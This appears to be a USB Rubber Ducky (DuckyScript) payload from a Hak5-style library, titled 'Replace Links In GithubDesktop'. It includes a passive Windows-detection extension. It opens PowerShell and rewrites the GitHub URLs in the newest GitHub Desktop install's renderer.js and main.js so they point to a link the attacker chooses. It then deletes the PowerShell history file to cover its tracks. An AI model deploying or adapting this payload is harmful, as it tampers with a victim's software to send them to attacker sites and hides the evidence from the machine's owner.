Path: blob/master/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt
3018 views
REM_BLOCK1#####################################################2# #3# Title : Replace Links In GithubDesktop #4# Author : Aleff #5# Version : 1.0 #6# Category : Execution #7# Target : Windows 10/11 #8# #9#####################################################10END_REM111213REM REQUIRED - Define here the new url that will replace the original github link14DEFINE #NEW_LINK example.com1516REM DON'T CHANGE - This variable is a constant in this case, change it only if you are sure that the path to GithubDesktop is not the default17DEFINE #SUBDIRECTORY \AppData\Local\GitHubDesktop181920REM_BLOCK21Credits: Hak5 LLC22Website: https://hak5.org/23Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt24END_REM2526EXTENSION PASSIVE_WINDOWS_DETECT27REM VERSION 1.128REM AUTHOR: Korben2930REM_BLOCK DOCUMENTATION31Windows fully passive OS Detection and passive Detect Ready32Includes its own passive detect ready.33Does not require additional extensions.3435USAGE:36Extension runs inline (here)37Place at beginning of payload (besides ATTACKMODE) to act as dynamic38boot delay39$_OS will be set to WINDOWS or NOT_WINDOWS40See end of payload for usage within payload41END_REM4243REM CONFIGURATION:44DEFINE #MAX_WAIT 15045DEFINE #CHECK_INTERVAL 2046DEFINE #WINDOWS_HOST_REQUEST_COUNT 247DEFINE #NOT_WINDOWS 74849$_OS = #NOT_WINDOWS5051VAR $MAX_TRIES = #MAX_WAIT52WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))53DELAY #CHECK_INTERVAL54$MAX_TRIES = ($MAX_TRIES - 1)55END_WHILE56IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN57$_OS = WINDOWS58END_IF5960REM_BLOCK EXAMPLE USAGE AFTER EXTENSION61IF ($_OS == WINDOWS) THEN62STRING HELLO WINDOWS!63ELSE64STRING HELLO WORLD!65END_IF66END_REM67END_EXTENSION686970GUI r71DELAY 100072STRINGLN PowerShell73DELAY 10007475STRINGLN_POWERSHELL76$path = Join-Path -Path $env:USERPROFILE -ChildPath "#SUBDIRECTORY"7778$folders = Get-ChildItem -Path $path -Directory | Where-Object { $_.Name -like "app-*" }7980$versions = $folders | ForEach-Object {81[PSCustomObject]@{82FolderName = $_.Name83Version = [version]($_.Name -replace "app-", "")84}85}8687$latestVersionFolder = $versions | Sort-Object Version -Descending | Select-Object -First 18889$latestFolderPath = Join-Path -Path $path -ChildPath $latestVersionFolder.FolderName90$latestFolderPath += "\resources\app\"91$renderer = "renderer.js"92$main = "main.js"9394$filePath = "$latestFolderPath$renderer"9596$fileContent = Get-Content $filePath97$regex = [regex]'(https:\/\/(?![\w\d\.\/\-]*api)[\w\d\.\/\-]*github[\w\d\.\/\-]+)'98$modifiedContent = $fileContent -replace $regex, '#NEW_LINK'99Set-Content -Path $filePath -Value $modifiedContent100101102$filePath = "$latestFolderPath$main"103$fileContent = Get-Content $filePath104$regex = [regex]'openExternal\("(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"\)'105$modifiedContent = $fileContent -replace $regex, ('openExternal("#NEW_LINK")')106Set-Content -Path $filePath -Value $modifiedContent; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit107108END_STRINGLN109110111